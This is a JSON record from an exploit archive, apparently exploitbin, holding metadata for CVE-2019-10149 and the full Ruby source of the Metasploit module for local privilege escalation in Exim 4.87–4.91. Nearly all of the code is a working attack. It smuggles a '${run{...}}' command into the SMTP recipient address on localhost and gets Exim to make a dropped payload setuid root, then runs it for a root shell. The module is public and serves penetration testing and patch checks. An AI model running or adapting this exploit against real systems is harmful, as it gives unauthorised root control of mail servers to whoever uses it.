{"exploit":{"id":"EDB-47307","name":"Exim 4.87 <= 4.91 - Local Privilege Escalation (LPE) (Metasploit)","description":"Exim 4.87 <= 4.91 - Local Privilege Escalation (LPE) (Metasploit)","cves":["CVE-2019-10149"],"author":"Metasploit","published":"2019-08-26","platform":"linux","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/47307","path":"exploits/linux/local/47307.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-47307.rb","vulnerabilities":[{"id":"CVE-2019-10149","state":"PUBLISHED","title":null,"titleSource":null,"description":"A flaw was found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to remote command execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-10149","cvss":{"version":"3.0","baseScore":9,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","source":"redhat","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2019-10149"},"updatedAt":"2025-10-21T23:45:35.245Z","retrievedAt":"2026-11-27T08:16:24.908Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-47307.png?v=2","url":"https://exploitbin.com/exploits/EDB-47307","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-47307/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-47307/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'expect'\n\nclass MetasploitModule < Msf::Exploit::Local\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::FileDropper\n  include Msf::Post::File\n  include Msf::Post::Linux::Priv\n  include Msf::Post::Linux::System\n\n  def initialize(info = {})\n    super(update_info(info,\n      'Name'           => 'Exim 4.87 - 4.91 Local Privilege Escalation',\n      'Description'    => %q{\n        This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).\n        Improper validation of recipient address in deliver_message()\n        function in /src/deliver.c may lead to command execution with root privileges\n        (CVE-2019-10149).\n      },\n      'License'        => MSF_LICENSE,\n      'Author'         =>\n        [\n          'Qualys', # Discovery and PoC (@qualys)\n          'Dennis Herrmann', # Working exploit (@dhn)\n          'Marco Ivaldi', # Working exploit (@0xdea)\n          'Guillaume André' # Metasploit module (@yaumn_)\n        ],\n      'DisclosureDate' => '2019-06-05',\n      'Platform'       => [ 'linux' ],\n      'Arch'           => [ ARCH_X86, ARCH_X64 ],\n      'SessionTypes'   => [ 'shell', 'meterpreter' ],\n      'Targets'        =>\n        [\n          [\n            'Exim 4.87 - 4.91',\n            lower_version: Gem::Version.new('4.87'),\n            upper_version: Gem::Version.new('4.91')\n          ]\n        ],\n      'DefaultOptions' =>\n        {\n          'PrependSetgid' => true,\n          'PrependSetuid' => true\n        },\n      'References'     =>\n        [\n          [ 'CVE', '2019-10149' ],\n          [ 'EDB', '46996' ],\n          [ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ]\n        ]\n    ))\n\n    register_options(\n      [\n        OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ])\n      ])\n\n    register_advanced_options(\n      [\n        OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]),\n        OptFloat.new('SendExpectTimeout', [ true, 'Timeout per send/expect when communicating with exim', 3.5 ]),\n        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])\n      ])\n  end\n\n  def base_dir\n    datastore['WritableDir'].to_s\n  end\n\n  def encode_command(cmd)\n    '\\x' + cmd.unpack('H2' * cmd.length).join('\\x')\n  end\n\n  def open_tcp_connection\n    socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client)\n      params = Rex::Socket::Parameters.new({\n        'PeerHost' => '127.0.0.1',\n        'PeerPort' => datastore['EXIMPORT']\n      })\n      begin\n        socket = socket_subsystem.create_tcp_client_channel(params)\n      rescue => e\n        vprint_error(\"Couldn't connect to port #{datastore['EXIMPORT']}, \"\\\n                    \"are you sure exim is listening on this port? (see EXIMPORT)\")\n        raise e\n      end\n    return socket_subsystem, socket\n  end\n\n  def inject_payload(payload)\n    if session.type == 'meterpreter'\n      socket_subsystem, socket = open_tcp_connection\n\n      tcp_conversation = {\n        nil                                          => /220/,\n        'helo localhost'                             => /250/,\n        \"MAIL FROM:<>\"                               => /250/,\n        \"RCPT TO:<${run{#{payload}}}@localhost>\"     => /250/,\n        'DATA'                                       => /354/,\n        'Received:'                                  => nil,\n        '.'                                          => /250/\n      }\n\n      begin\n        tcp_conversation.each do |line, pattern|\n          Timeout.timeout(datastore['SendExpectTimeout']) do\n            if line\n              if line == 'Received:'\n                for i in (1..31)\n                  socket.puts(\"#{line} #{i}\\n\")\n                end\n              else\n                socket.puts(\"#{line}\\n\")\n              end\n            end\n            if pattern\n              socket.expect(pattern)\n            end\n          end\n        end\n      rescue Rex::ConnectionError => e\n        fail_with(Failure::Unreachable, e.message)\n      rescue Timeout::Error\n        fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out')\n      ensure\n        socket.puts(\"QUIT\\n\")\n        socket.close\n        socket_subsystem.shutdown\n      end\n    else\n      unless cmd_exec(\"/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' \"\\\n                      \"&& echo true\").chomp.to_s == 'true'\n        fail_with(Failure::NotFound, \"Port #{datastore['EXIMPORT']} is closed\")\n      end\n\n      bash_script = %|\n        #!/bin/bash\n\n        exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}\n        read -u 3 && echo $REPLY\n        echo \"helo localhost\" >&3\n        read -u 3 && echo $REPLY\n        echo \"mail from:<>\" >&3\n        read -u 3 && echo $REPLY\n        echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3\n        read -u 3 && echo $REPLY\n        echo \"data\" >&3\n        read -u 3 && echo $REPLY\n        for i in $(seq 1 30); do\n          echo 'Received: $i' >&3\n        done\n        echo \".\" >&3\n        read -u 3 && echo $REPLY\n        echo \"quit\" >&3\n        read -u 3 && echo $REPLY\n      |\n\n      @bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))\n      write_file(@bash_script_path, bash_script)\n      register_file_for_cleanup(@bash_script_path)\n      chmod(@bash_script_path)\n      cmd_exec(\"/bin/bash -c \\\"#{@bash_script_path}\\\"\")\n    end\n\n    print_status('Payload sent, wait a few seconds...')\n    Rex.sleep(5)\n  end\n\n  def check_for_bash\n    unless command_exists?('/bin/bash')\n      fail_with(Failure::NotFound, 'bash not found')\n    end\n  end\n\n  def on_new_session(session)\n    super\n\n    if session.type == 'meterpreter'\n      session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')\n      session.fs.file.rm(@payload_path)\n    else\n      session.shell_command_token(\"rm -f #{@payload_path}\")\n    end\n  end\n\n  def check\n    if session.type == 'meterpreter'\n      begin\n        socket_subsystem, socket = open_tcp_connection\n      rescue\n        return CheckCode::Safe\n      end\n      res = socket.gets\n      socket.close\n      socket_subsystem.shutdown\n    else\n      check_for_bash\n      res = cmd_exec(\"/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && \"\\\n                     \"(read -u 3 && echo $REPLY) || echo false'\")\n      if res == 'false'\n         vprint_error(\"Couldn't connect to port #{datastore['EXIMPORT']}, \"\\\n                      \"are you sure exim is listening on this port? (see EXIMPORT)\")\n         return CheckCode::Safe\n      end\n    end\n\n    if res =~ /Exim ([0-9\\.]+)/i\n      version = Gem::Version.new($1)\n      vprint_status(\"Found exim version: #{version}\")\n      if version >= target[:lower_version] && version <= target[:upper_version]\n        return CheckCode::Appears\n      else\n        return CheckCode::Safe\n      end\n    end\n\n    CheckCode::Unknown\n  end\n\n  def exploit\n    if is_root?\n      unless datastore['ForceExploit']\n        fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')\n      end\n    end\n\n    unless writable?(base_dir)\n      fail_with(Failure::BadConfig, \"#{base_dir} is not writable\")\n    end\n\n    if nosuid?(base_dir)\n      fail_with(Failure::BadConfig, \"#{base_dir} is mounted nosuid\")\n    end\n\n    unless datastore['PrependSetuid'] && datastore['PrependSetgid']\n      fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \\\n                                    'to get root privileges.')\n    end\n\n    if session.type == 'shell'\n      check_for_bash\n    end\n\n    @payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))\n    write_file(@payload_path, payload.encoded_exe)\n    register_file_for_cleanup(@payload_path)\n    inject_payload(encode_command(\"/bin/sh -c 'chown root #{@payload_path};\"\\\n                                  \"chmod 4755 #{@payload_path}'\"))\n\n    unless setuid?(@payload_path)\n      fail_with(Failure::Unknown, \"Couldn't escalate privileges\")\n    end\n\n    cmd_exec(\"#{@payload_path} & echo \")\n  end\nend","sha256":"1d48a71818239680f8a42d601ac2a51fefd2a2bb978fa0983dc37cd15ac188dc","bytes":8193,"fetchedAt":"2026-11-27T14:12:16.182Z","encoding":"utf-8 (display only; download retains original bytes)"}